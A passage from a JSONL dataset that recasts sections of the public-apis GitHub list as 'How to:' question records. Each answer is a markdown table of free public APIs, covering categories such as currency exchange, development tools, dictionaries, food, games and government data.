Yes |\n| [Coinigy](https://coinigy.docs.apiary.io) | Interacting with Coinigy Accounts and Exchange Directly | `apiKey` | Yes | Unknown |\n| [Coinlib](https://coinlib.io/apidocs) | Crypto Currency Prices | `apiKey` | Yes | Unknown |\n| [Coinlore](https://www.coinlore.com/cryptocurrency-data-api) | Cryptocurrencies prices, volume and more | No | Yes | Unknown |\n| [CoinMarketCap](https://coinmarketcap.com/api/) | Cryptocurrencies Prices | `apiKey` | Yes | Unknown |\n| [Coinpaprika](https://api.coinpaprika.com) | Cryptocurrencies prices, volume and more | No | Yes | Yes |\n| [CoinRanking](https://developers.coinranking.com/api/documentation) | Live Cryptocurrency data | `apiKey` | Yes | Unknown |\n| [Coinremitter](https://coinremitter.com/docs) | Cryptocurrencies Payment & Prices | `apiKey` | Yes | Unknown |\n| [CoinStats](https://documenter.getpostman.com/view/5734027/RzZ6Hzr3?version=latest) | Crypto Tracker | No | Yes | Unknown |\n| [CryptAPI](https://docs.cryptapi.io/) | Cryptocurrency Payment Processor | No | Yes | Unknown |\n| [CryptingUp](https://www.cryptingup.com/apidoc/#introduction) | Cryptocurrency data | No | Yes | Unknown |\n| [CryptoCompare](https://www.cryptocompare.com/api#) | Cryptocurrencies Comparison | No | Yes | Unknown |\n| [CryptoMarket](https://api.exchange.cryptomkt.com/) | Cryptocurrencies Trading platform | `apiKey` | Yes | Yes |\n| [Cryptonator](https://www.cryptonator.com/api/) | Cryptocurrencies Exchange Rates | No | Yes | Unknown |\n| [dYdX](https://docs.dydx.exchange/) | Decentralized cryptocurrency exchange | `apiKey` | Yes | Unknown |\n| [Ethplorer](https://github.com/EverexIO/Ethplorer/wiki/Ethplorer-API) | Ethereum tokens, balances, addresses, history of transactions, contracts, and custom structures | `apiKey` | Yes | Unknown |\n| [EXMO](https://documenter.getpostman.com/view/10287440/SzYXWKPi) | Cryptocurrencies exchange based in UK | `", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998367"}
{"id": "gh_5961e2a2cdff", "question": "How to: Currency Exchange", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [1Forge](https://1forge.com/forex-data-api/api-documentation) | Forex currency market data | `apiKey` | Yes | Unknown |\n| [Amdoren](https://www.amdoren.com/currency-api/) | Free currency API with over 150 currencies | `apiKey` | Yes | Unknown |\n| [apilayer fixer.io](https://fixer.io) | Exchange rates and currency conversion | `apiKey` | No | Unknown |\n| [Bank of Russia](https://www.cbr.ru/development/SXML/) | Exchange rates and currency conversion | No | Yes | Unknown |\n| [Currency-api](https://github.com/fawazahmed0/currency-api#readme) | Free Currency Exchange Rates API with 150+ Currencies & No Rate Limits | No | Yes | Yes |\n| [CurrencyFreaks](https://currencyfreaks.com/) | Provides current and historical currency exchange rates with free plan 1K requests/month | `apiKey` | Yes | Yes |\n| [Currencylayer](https://currencylayer.com/documentation) | Exchange rates and currency conversion | `apiKey` | Yes | Unknown |\n| [CurrencyScoop](https://currencyscoop.com/api-documentation) | Real-time and historical currency rates JSON API | `apiKey` | Yes | Yes |\n| [Czech National Bank](https://www.cnb.cz/cs/financni_trhy/devizovy_trh/kurzy_devizoveho_trhu/denni_kurz.xml) | A collection of exchange rates | No | Yes | Unknown |\n| [Economia.Awesome](https://docs.awesomeapi.com.br/api-de-moedas) | Portuguese free currency prices and conversion with no rate limits | No | Yes | Unknown |\n| [ExchangeRate-API](https://www.exchangerate-api.com) | Free currency conversion | `apiKey` | Yes | Yes |\n| [Exchangerate.host](https://exchangerate.host) | Free foreign exchange & crypto rates API | No | Yes | Unknown |\n| [Exchangeratesapi.io](https://exchangeratesapi.io) | Exchange rates with currency conversion | `apiKey` | Yes | Yes |\n| [Frankfurter](https://www.frankfurter.app/docs) | Exchange rates, currency conversion and time series | No | Yes | Yes |\n| [FreeForexAPI](https://freeforexapi.com/Home/Api) | Real-time foreign exchange rates for major currency pairs | No | Yes | No |\n| [National Bank of Poland](http://api.nbp.pl/en.html) | A collection of currency exchange rates (data in XML and JSON) | No | Yes | Yes |\n| [VATComply.com](https://www.vatcomply.com/documentation) | Exchange rates, geolocation and VAT number validation | No | Yes | Yes |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998385"}
{"id": "gh_1880fdbc71f9", "question": "How to: Data Validation", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|---|:---|:---|:---|:---|\n| [Lob.com](https://lob.com/) | US Address Verification | `apiKey` | Yes | Unknown | |\n| [Postman Echo](https://www.postman-echo.com) | Test api server to receive and return value from HTTP method | No | Yes | Unknown | |\n| [PurgoMalum](http://www.purgomalum.com) | Content validator against profanity & obscenity | No | No | Unknown | |\n| [US Autocomplete](https://www.smarty.com/docs/cloud/us-autocomplete-pro-api) | Enter address data quickly with real-time address suggestions | `apiKey` | Yes | Yes | |\n| [US Extract](https://www.smarty.com/products/apis/us-extract-api) | Extract postal addresses from any text including emails | `apiKey` | Yes | Yes | |\n| [US Street Address](https://www.smarty.com/docs/cloud/us-street-api) | Validate and append data for any US postal address | `apiKey` | Yes | Yes | |\n| [vatlayer](https://vatlayer.com/documentation) | VAT number validation | `apiKey` | Yes | Unknown | |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998393"}
{"id": "gh_6db36bec78a6", "question": "How to: Development", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [24 Pull Requests](https://24pullrequests.com/api) | Project to promote open source collaboration during December | No | Yes | Yes |\n| [Screenshot](https://www.abstractapi.com/website-screenshot-api) | Take programmatic screenshots of web pages from any website | `apiKey` | Yes | Yes |\n| [Agify.io](https://agify.io) | Estimates the age from a first name | No | Yes | Yes |\n| [API Grátis](https://apigratis.com.br/) | Multiples services and public APIs | No | Yes | Unknown |\n| [ApicAgent](https://www.apicagent.com) | Extract device details from user-agent string | No | Yes | Yes |\n| [ApiFlash](https://apiflash.com/) | Chrome based screenshot API for developers | `apiKey` | Yes | Unknown |\n| [apilayer userstack](https://userstack.com/) | Secure User-Agent String Lookup JSON API | `OAuth` | Yes | Unknown |\n| [APIs.guru](https://apis.guru/api-doc/) | Wikipedia for Web APIs, OpenAPI/Swagger specs for public APIs | No | Yes | Unknown |\n| [Azure DevOps](https://docs.microsoft.com/en-us/rest/api/azure/devops) | The Azure DevOps basic components of a REST API request/response pair | `apiKey` | Yes | Unknown |\n| [Base](https://www.base-api.io/) | Building quick backends | `apiKey` | Yes | Yes |\n| [Beeceptor](https://beeceptor.com/) | Build a mock Rest API endpoint in seconds | No | Yes | Yes |\n| [Bitbucket](https://developer.atlassian.com/bitbucket/api/2/reference/) | Bitbucket API | `OAuth` | Yes | Unknown |\n| [Blague.xyz](https://blague.xyz/) | La plus grande API de Blagues FR/The biggest FR jokes API | `apiKey` | Yes | Yes |\n| [Blitapp](https://blitapp.com/api/) | Schedule screenshots of web pages and sync them to your cloud | `apiKey` | Yes | Unknown |\n| [Blynk-Cloud](https://blynkapi.docs.apiary.io/#) | Control IoT Devices from Blynk IoT Cloud | `apiKey` | No | Unknown |\n| [Bored](https://www.boredapi.com/) | Find random activities to fight boredom | No | Yes | Unknown |\n| [Brainshop.ai](https://brainshop.ai/) | Make A Free A.I Brain | `apiKey` | Yes | Yes |\n| [Browshot](https://browshot.com/api/documentation) | Easily make screenshots of web pages in any screen size, as any device | `apiKey` | Yes | Yes |\n| [CDNJS](https://api.cdnjs.com/libraries/jquery) | Library info on CDNJS | No | Yes | Unknown |\n| [Changelogs.md](https://changelogs.md) | Structured changelog metadata from open source projects | No | Yes | Unknown |\n| [Ciprand](https://github.com/polarspetroll/ciprand) | Secure random string generator | No | Yes | No |\n| [Cloudflare Trace](https://github.com/fawazahmed0/cloudflare-trace-api) | Get IP Address, Timestamp, User Agent, Country Code, IATA, HTTP Version, TLS/SSL Version & More | No | Yes | Yes |\n| [Codex](https://github.com/Jaagrav/CodeX) | Online Compiler for Various Languages | No | Yes | Unknown |\n| [Contentful Images](https://www.contentful.com/developers/docs/references/images-api/) | Used to retrieve and apply transformations to images | `apiKey` | Yes | Yes |\n| [CORS Proxy](https://github.com/burhanuday/cors-proxy) | Get around the dreaded CORS error by using this proxy as a middle man | No | Yes | Yes |\n| [CountAPI](https://countapi.xyz) | Free and simple counting service. You can use it to track page hits and specific events | No | Yes | Yes |\n| [Databricks](https://docs.databricks.com/dev-tools/api/latest/index.html) | Service to manage your databricks account,clusters, notebooks, jobs and workspaces | `apiKey` | Yes | Yes |\n| [DigitalOcean Status](https://status.digitalocean.com/api) | Status of all DigitalOcean services | No | Yes | Unknown |\n| [Docker Hub](https://docs.docker.com/docker-hub/api/latest/) | Interact with Docker Hub | `apiKey` | Yes | Yes |\n| [DomainDb Info](https://api.domainsdb.info/) | Domain name search to find all domains containing particular words/phrases/etc | No | Yes | Unknown |\n| [ExtendsClass JSON Storage](https://extendsclass.com/json-storage.html) | A simple JSON store API | No | Yes | Yes |\n| [GeekFlare](https://apidocs.geekflare.com/docs/geekflare-api) | Provide numerous capabilities for important testing and monitoring methods for websites | `apiKey` | Yes | Unknown |\n| [Genderize.io](https://genderize.io) | Estimates a gender from a first name | No | Yes | Yes |\n| [GETPing](https://www.getping.info) | Trigger an email notification with a simple GET request | `apiKey` | Yes | Unknown |\n| [Ghost](https://ghost.org/) | Get Published content into your Website, App or other embedded media | `apiKey` | Yes | Yes |\n| [GitHub](https://docs.github.com/en/free-pro-team@latest/rest) | Make use of GitHub repositories, code and user info programmatically | `OAuth` | Yes | Yes |\n| [Gitlab](https://docs.gitlab.com/ee/api/) | Automate GitLab interaction programmatically | `OAuth` | Yes | Unknown |\n| [Gitter](https://developer.gitter.im/docs/welcome) | Chat for Developers | `OAuth` | Yes | Unknown |\n| [Glitterly](https://developers.glitterly.app) | Image generation API | `apiKey` | Yes | Yes |\n| [Goog", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998438"}
{"id": "gh_86e631838c58", "question": "How to: Dictionaries", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [Chinese Character Web](http://ccdb.hemiola.com/) | Chinese character definitions and pronunciations | No | No | No |\n| [Chinese Text Project](https://ctext.org/tools/api) | Online open-access digital library for pre-modern Chinese texts | No | Yes | Unknown |\n| [Collins](https://api.collinsdictionary.com/api/v1/documentation/html/) | Bilingual Dictionary and Thesaurus Data | `apiKey` | Yes | Unknown |\n| [Free Dictionary](https://dictionaryapi.dev/) | Definitions, phonetics, pronounciations, parts of speech, examples, synonyms | No | Yes | Unknown |\n| [Indonesia Dictionary](https://new-kbbi-api.herokuapp.com/) | Indonesia dictionary many words | No | Yes | Unknown |\n| [Lingua Robot](https://www.linguarobot.io) | Word definitions, pronunciations, synonyms, antonyms and others | `apiKey` | Yes | Yes |\n| [Merriam-Webster](https://dictionaryapi.com/) | Dictionary and Thesaurus Data | `apiKey` | Yes | Unknown |\n| [OwlBot](https://owlbot.info/) | Definitions with example sentence and photo if available | `apiKey` | Yes | Yes |\n| [Oxford](https://developer.oxforddictionaries.com/) | Dictionary Data | `apiKey` | Yes | No |\n| [Synonyms](https://www.synonyms.com/synonyms_api.php) | Synonyms, thesaurus and antonyms information for any given word | `apiKey` | Yes | Unknown |\n| [Wiktionary](https://en.wiktionary.org/w/api.php) | Collaborative dictionary data | No | Yes | Yes |\n| [Wordnik](https://developer.wordnik.com) | Dictionary Data | `apiKey` | Yes | Unknown |\n| [Words](https://www.wordsapi.com/docs/) | Definitions and synonyms for more than 150,000 words | `apiKey` | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998448"}
{"id": "gh_1b3726c1477a", "question": "How to: Documents & Productivity", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [Airtable](https://airtable.com/api) | Integrate with Airtable | `apiKey` | Yes | Unknown |\n| [Api2Convert](https://www.api2convert.com/) | Online File Conversion API | `apiKey` | Yes | Unknown |\n| [apilayer pdflayer](https://pdflayer.com) | HTML/URL to PDF | `apiKey` | Yes | Unknown |\n| [Asana](https://developers.asana.com/docs) | Programmatic access to all data in your asana system | `apiKey` | Yes | Yes |\n| [ClickUp](https://clickup.com/api) | ClickUp is a robust, cloud-based project management tool for boosting productivity | `OAuth` | Yes | Unknown |\n| [Clockify](https://clockify.me/developers-api ) | Clockify's REST-based API can be used to push/pull data to/from it & integrate it with other systems | `apiKey` | Yes | Unknown |\n| [CloudConvert](https://cloudconvert.com/api/v2) | Online file converter for audio, video, document, ebook, archive, image, spreadsheet, presentation | `apiKey` | Yes | Unknown |\n| [Cloudmersive Document and Data Conversion](https://cloudmersive.com/convert-api) | HTML/URL to PDF/PNG, Office documents to PDF, image conversion | `apiKey` | Yes | Yes |\n| [Code::Stats](https://codestats.net/api-docs) | Automatic time tracking for programmers | `apiKey` | Yes | No |\n| [CraftMyPDF](https://craftmypdf.com) | Generate PDF documents from templates with a drop-and-drop editor and a simple API | `apiKey` | Yes | No |\n| [Flowdash](https://docs.flowdash.com/docs/api-introduction) | Automate business workflows | `apiKey` | Yes | Unknown |\n| [Html2PDF](https://html2pdf.app/) | HTML/URL to PDF | `apiKey` | Yes | Unknown |\n| [iLovePDF](https://developer.ilovepdf.com/) | Convert, merge, split, extract text and add page numbers for PDFs. Free for 250 documents/month | `apiKey` | Yes | Yes |\n| [JIRA](https://developer.atlassian.com/server/jira/platform/rest-apis/) | JIRA is a proprietary issue tracking product that allows bug tracking and agile project management | `OAuth` | Yes | Unknown |\n| [Mattermost](https://api.mattermost.com/) | An open source platform for developer collaboration | `OAuth` | Yes | Unknown |\n| [Mercury](https://mercury.postlight.com/web-parser/) | Web parser | `apiKey` | Yes | Unknown |\n| [Monday](https://api.developer.monday.com/docs) | Programmatically access and update data inside a monday.com account | `apiKey` | Yes | Unknown |\n| [Notion](https://developers.notion.com/docs/getting-started) | Integrate with Notion | `OAuth` | Yes | Unknown |\n| [PandaDoc](https://developers.pandadoc.com) | DocGen and eSignatures API | `apiKey` | Yes | No |\n| [Pocket](https://getpocket.com/developer/) | Bookmarking service | `OAuth` | Yes | Unknown |\n| [Podio](https://developers.podio.com) | File sharing and productivity | `OAuth` | Yes | Unknown |\n| [PrexView](https://prexview.com) | Data from XML or JSON to PDF, HTML or Image | `apiKey` | Yes | Unknown |\n| [Restpack](https://restpack.io/) | Provides screenshot, HTML to PDF and content extraction APIs | `apiKey` | Yes | Unknown |\n| [Todoist](https://developer.todoist.com) | Todo Lists | `OAuth` | Yes | Unknown |\n| [Smart Image Enhancement API](https://apilayer.com/marketplace/image_enhancement-api) | Performs image upscaling by adding detail to images through multiple super-resolution algorithms | `apiKey` | Yes | Unknown |\n| [Vector Express v2.0](https://vector.express) | Free vector file converting API | No | Yes | No |\n| [WakaTime](https://wakatime.com/developers) | Automated time tracking leaderboards for programmers | No | Yes | Unknown |\n| [Zube](https://zube.io/docs/api) | Full stack project management | `OAuth` | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998462"}
{"id": "gh_8ffde78fae6d", "question": "How to: Entertainment", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [chucknorris.io](https://api.chucknorris.io) | JSON API for hand curated Chuck Norris jokes | No | Yes | Unknown |\n| [Corporate Buzz Words](https://github.com/sameerkumar18/corporate-bs-generator-api) | REST API for Corporate Buzz Words | No | Yes | Yes |\n| [Excuser](https://excuser.herokuapp.com/) | Get random excuses for various situations | No | Yes | Unknown |\n| [Fun Fact](https://api.aakhilv.me) | A simple HTTPS api that can randomly select and return a fact from the FFA database | No | Yes | Yes |\n| [Imgflip](https://imgflip.com/api) | Gets an array of popular memes | No | Yes | Unknown |\n| [Meme Maker](https://mememaker.github.io/API/) | REST API for create your own meme | No | Yes | Unknown |\n| [NaMoMemes](https://github.com/theIYD/NaMoMemes) | Memes on Narendra Modi | No | Yes | Unknown |\n| [Random Useless Facts](https://uselessfacts.jsph.pl/) | Get useless, but true facts | No | Yes | Unknown |\n| [Techy](https://techy-api.vercel.app/) | JSON and Plaintext API for tech-savvy sounding phrases | No | Yes | Unknown |\n| [Yo Momma Jokes](https://github.com/beanboi7/yomomma-apiv2) | REST API for Yo Momma Jokes | No | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998473"}
{"id": "gh_429b97beed3a", "question": "How to: Environment", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [BreezoMeter Pollen](https://docs.breezometer.com/api-documentation/pollen-api/v2/) | Daily Forecast pollen conditions data for a specific location | `apiKey` | Yes | Unknown |\n| [Carbon Interface](https://docs.carboninterface.com/) | API to calculate carbon (C02) emissions estimates for common C02 emitting activities | `apiKey` | Yes | Yes |\n| [Climatiq](https://docs.climatiq.io) | Calculate the environmental footprint created by a broad range of emission-generating activities | `apiKey` | Yes | Yes |\n| [Cloverly](https://www.cloverly.com/carbon-offset-documentation) | API calculates the impact of common carbon-intensive activities in real time | `apiKey` | Yes | Unknown |\n| [CO2 Offset](https://co2offset.io/api.html) | API calculates and validates the carbon footprint | No | Yes | Unknown |\n| [Danish data service Energi](https://www.energidataservice.dk/) | Open energy data from Energinet to society | No | Yes | Unknown |\n| [GrünstromIndex](https://gruenstromindex.de/) | Green Power Index for Germany (Grünstromindex/GSI) | No | No | Yes |\n| [IQAir](https://www.iqair.com/air-pollution-data-api) | Air quality and weather data | `apiKey` | Yes | Unknown |\n| [Luchtmeetnet](https://api-docs.luchtmeetnet.nl/) | Predicted and actual air quality components for The Netherlands (RIVM) | No | Yes | Unknown |\n| [National Grid ESO](https://data.nationalgrideso.com/) | Open data from Great Britain’s Electricity System Operator | No | Yes | Unknown |\n| [OpenAQ](https://docs.openaq.org/) | Open air quality data | `apiKey` | Yes | Unknown |\n| [PM2.5 Open Data Portal](https://pm25.lass-net.org/#apis) | Open low-cost PM2.5 sensor data | No | Yes | Unknown |\n| [PM25.in](http://www.pm25.in/api_doc) | Air quality of China | `apiKey` | No | Unknown |\n| [PVWatts](https://developer.nrel.gov/docs/solar/pvwatts/v6/) | Energy production photovoltaic (PV) energy systems | `apiKey` | Yes | Unknown |\n| [Srp Energy](https://srpenergy-api-client-python.readthedocs.io/en/latest/api.html) | Hourly usage energy report for Srp customers | `apiKey` | Yes | No |\n| [UK Carbon Intensity](https://carbon-intensity.github.io/api-definitions/#carbon-intensity-api-v1-0-0) | The Official Carbon Intensity API for Great Britain developed by National Grid | No | Yes | Unknown |\n| [Website Carbon](https://api.websitecarbon.com/) | API to estimate the carbon footprint of loading web pages | No | Yes | Unknown |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998484"}
{"id": "gh_5cb3e814ec5b", "question": "How to: Food & Drink", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [BaconMockup](https://baconmockup.com/) | Resizable bacon placeholder images | No | Yes | Yes |\n| [Chomp](https://chompthis.com/api/) | Data about various grocery products and foods | `apiKey` | Yes | Unknown |\n| [Coffee](https://coffee.alexflipnote.dev/) | Random pictures of coffee | No | Yes | Unknown |\n| [Edamam nutrition](https://developer.edamam.com/edamam-docs-nutrition-api) | Nutrition Analysis | `apiKey` | Yes | Unknown |\n| [Edamam recipes](https://developer.edamam.com/edamam-docs-recipe-api) | Recipe Search | `apiKey` | Yes | Unknown |\n| [Foodish](https://github.com/surhud004/Foodish#readme) | Random pictures of food dishes | No | Yes | Yes |\n| [Fruityvice](https://www.fruityvice.com) | Data about all kinds of fruit | No | Yes | Unknown |\n| [Kroger](https://developer.kroger.com/reference) | Supermarket Data | `apiKey` | Yes | Unknown |\n| [LCBO](https://lcboapi.com/) | Alcohol | `apiKey` | Yes | Unknown |\n| [Open Brewery DB](https://www.openbrewerydb.org) | Breweries, Cideries and Craft Beer Bottle Shops | No | Yes | Yes |\n| [Open Food Facts](https://world.openfoodfacts.org/data) | Food Products Database | No | Yes | Unknown |\n| [PunkAPI](https://punkapi.com/) | Brewdog Beer Recipes | No | Yes | Unknown |\n| [Rustybeer](https://rustybeer.herokuapp.com/) | Beer brewing tools | No | Yes | No |\n| [Spoonacular](https://spoonacular.com/food-api) | Recipes, Food Products, and Meal Planning | `apiKey` | Yes | Unknown |\n| [Systembolaget](https://api-portal.systembolaget.se) | Govornment owned liqour store in Sweden | `apiKey` | Yes | Unknown |\n| [TacoFancy](https://github.com/evz/tacofancy-api) | Community-driven taco database | No | No | Unknown |\n| [Tasty](https://rapidapi.com/apidojo/api/tasty/) | API to query data about recipe, plan, ingredients | `apiKey` | Yes | Unknown |\n| [The Report of the Week](https://github.com/andyklimczak/TheReportOfTheWeek-API) | Food & Drink Reviews | No | Yes | Unknown |\n| [TheCocktailDB](https://www.thecocktaildb.com/api.php) | Cocktail Recipes | `apiKey` | Yes | Yes |\n| [TheMealDB](https://www.themealdb.com/api.php) | Meal Recipes | `apiKey` | Yes | Yes |\n| [Untappd](https://untappd.com/api/docs) | Social beer sharing | `OAuth` | Yes | Unknown |\n| [What's on the menu?](http://nypl.github.io/menus-api/) | NYPL human-transcribed historical menu collection | `apiKey` | No | Unknown |\n| [WhiskyHunter](https://whiskyhunter.net/api/) | Past online whisky auctions statistical data | No | Yes | Unknown |\n| [Zestful](https://zestfuldata.com/) | Parse recipe ingredients | `apiKey` | Yes | Yes |\n\n**[⬆ Back to Index](#index)**", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 391360, "answer_score": 10, "has_code": false, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998503"}
{"id": "gh_a803dc1eacd3", "question": "How to: Games & Comics", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [Age of Empires II](https://age-of-empires-2-api.herokuapp.com) | Get information about Age of Empires II resources | No | Yes | No |\n| [AmiiboAPI](https://amiiboapi.com/) | Nintendo Amiibo Information | No | Yes | Yes |\n| [Animal Crossing: New Horizons](http://acnhapi.com/) | API for critters, fossils, art, music, furniture and villagers | No | Yes | Unknown |\n| [Autochess VNG](https://github.com/didadadida93/autochess-vng-api) | Rest Api for Autochess VNG | No | Yes | Yes |\n| [Barter.VG](https://github.com/bartervg/barter.vg/wiki) | Provides information about Game, DLC, Bundles, Giveaways, Trading | No | Yes | Yes |\n| [Battle.net](https://develop.battle.net/documentation/guides/getting-started) | Diablo III, Hearthstone, StarCraft II and World of Warcraft game data APIs | `OAuth` | Yes | Yes |\n| [Board Game Geek](https://boardgamegeek.com/wiki/page/BGG_XML_API2) | Board games, RPG and videogames | No | Yes | No |\n| [Brawl Stars](https://developer.brawlstars.com) | Brawl Stars Game Information | `apiKey` | Yes | Unknown |\n| [Bugsnax](https://www.bugsnaxapi.com/) | Get information about Bugsnax | No | Yes | Yes |\n| [CheapShark](https://www.cheapshark.com/api) | Steam/PC Game Prices and Deals | No | Yes | Yes |\n| [Chess.com](https://www.chess.com/news/view/published-data-api) | Chess.com read-only REST API | No | Yes | Unknown |\n| [Chuck Norris Database](http://www.icndb.com/api/) | Jokes | No | No | Unknown |\n| [Clash of Clans](https://developer.clashofclans.com) | Clash of Clans Game Information | `apiKey` | Yes | Unknown |\n| [Clash Royale](https://developer.clashroyale.com) | Clash Royale Game Information | `apiKey` | Yes | Unknown |\n| [Comic Vine](https://comicvine.gamespot.com/api/documentation) | Comics | No | Yes | Unknown |\n| [Crafatar](https://crafatar.com) | API for Minecraft skins and faces | No | Yes | Yes |\n| [Cross Universe](https://crossuniverse.psychpsyo.com/apiDocs.html) | Cross Universe Card Data | No | Yes | Yes |\n| [Deck of Cards](http://deckofcardsapi.com/) | Deck of Cards | No | No | Unknown |\n| [Destiny The Game](https://bungie-net.github.io/multi/index.html) | Bungie Platform API | `apiKey` | Yes | Unknown |\n| [Digimon Information](https://digimon-api.vercel.app/) | Provides information about digimon creatures | No | Yes | Unknown |\n| [Digimon TCG](https://documenter.getpostman.com/view/14059948/TzecB4fH) | Search for Digimon cards in digimoncard.io | No | Yes | Unknown |\n| [Disney](https://disneyapi.dev) | Information of Disney characters | No | Yes | Yes |\n| [Dota 2](https://docs.opendota.com/) | Provides information about Player stats , Match stats, Rankings for Dota 2 | `apiKey` | Yes | Unknown |\n| [Dungeons and Dragons](https://www.dnd5eapi.co/docs/) | Reference for 5th edition spells, classes, monsters, and more | No | No | No |\n| [Dungeons and Dragons (Alternate)](https://open5e.com/) | Includes all monsters and spells from the SRD (System Reference Document) as well as a search API | No | Yes | Yes |\n| [Eve Online](https://esi.evetech.net/ui) | Third-Party Developer Documentation | `OAuth` | Yes | Unknown |\n| [FFXIV Collect](https://ffxivcollect.com/) | Final Fantasy XIV data on collectables | No | Yes | Yes |\n| [FIFA Ultimate Team](https://www.easports.com/fifa/ultimate-team/api/fut/item) | FIFA Ultimate Team items API | No | Yes | Unknown |\n| [Final Fantasy XIV](https://xivapi.com/) | Final Fantasy XIV Game data API | No | Yes | Yes |\n| [Fortnite](https://fortnitetracker.com/site-api) | Fortnite Stats | `apiKey` | Yes | Unknown |\n| [Forza](https://docs.forza-api.tk) | Show random image of car from Forza | No | Yes | Unknown |\n| [FreeToGame](https://www.freetogame.com/api-doc) | Free-To-Play Games Database | No | Yes | Yes |\n| [Fun Facts](https://asli-fun-fact-api.herokuapp.com/) | Random Fun Facts | No | Yes | Yes |\n| [FunTranslations](https://api.funtranslations.com/) | Translate Text into funny languages | No | Yes | Yes |\n| [GamerPower](https://www.gamerpower.com/api-read) | Game Giveaways Tracker | No | Yes | Yes |\n| [GDBrowser](https://gdbrowser.com/api) | Easy way to use the Geometry Dash Servers | No | Yes | Unknown |    \n| [Geek-Jokes](https://github.com/sameerkumar18/geek-joke-api) | Fetch a random geeky/programming related joke for use in all sorts of applications | No | Yes | Yes |\n| [Genshin Impact](https://genshin.dev) | Genshin Impact game data | No | Yes | Yes |\n| [Giant Bomb](https://www.giantbomb.com/api/documentation) | Video Games | `apiKey` | Yes | Unknown |\n| [GraphQL Pokemon](https://github.com/favware/graphql-pokemon) | GraphQL powered Pokemon API. Supports generations 1 through 8 | No | Yes | Yes |\n| [Guild Wars 2](https://wiki.guildwars2.com/wiki/API:Main) | Guild Wars 2 Game Information | `apiKey` | Yes | Unknown |\n| [GW2Spidy](https://github.com/rubensayshi/gw2spidy/wiki) | GW2Spidy API, Items data on the Guild Wars 2 Trade Market | No | Yes | Unknown |\n| [Halo](https://develope", "tags": ["public-apis"], "source": "github_gists", "category": "public-apis", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 391360, "answer_score": 10, "has_code": true, "url": "https://github.com/public-apis/public-apis", "collected_at": "2026-01-16T23:28:45.998532"}
{"id": "gh_88be83d32cdc", "question": "How to: Government", "question_body": "About public-apis/public-apis", "answer": "API | Description | Auth | HTTPS | CORS |\n|:---|:---|:---|:---|:---|\n| [Bank Negara Malaysia Open Data](https://apikijangportal.bnm.gov.my/) | Malaysia Central Bank Open Data | No | Yes | Unknown |\n| [BCLaws](https://www.bclaws.gov.bc.ca/civix/template/complete/api/index.html) | Access to the laws of British Columbia | No | No | Unknown |\n| [Brazil](https://brasilapi.com.br/) | Community driven API for Brazil Public Data | No | Yes | Yes |\n| [Brazil Central Bank Open Data](https://dadosabertos.bcb.gov.br/) | Brazil Central Bank Open Data | No | Yes | Unknown |\n| [Brazil Receita WS](https://www.receitaws.com.br/) | Consult companies by CNPJ for Brazilian companies | No | Yes | Unknown |\n| [Brazilian Chamber of Deputies Open Data](https://dadosabertos.camara.leg.br/swagger/api.html) | Provides legislative information in Apis XML and JSON, as well as files in various formats | No | Yes | No |\n| [Census.gov](https://www.census.gov/data/developers/data-sets.html) | The US Census Bureau provides various APIs and data sets on demographics and businesses | No | Yes | Unknown |\n| [City, 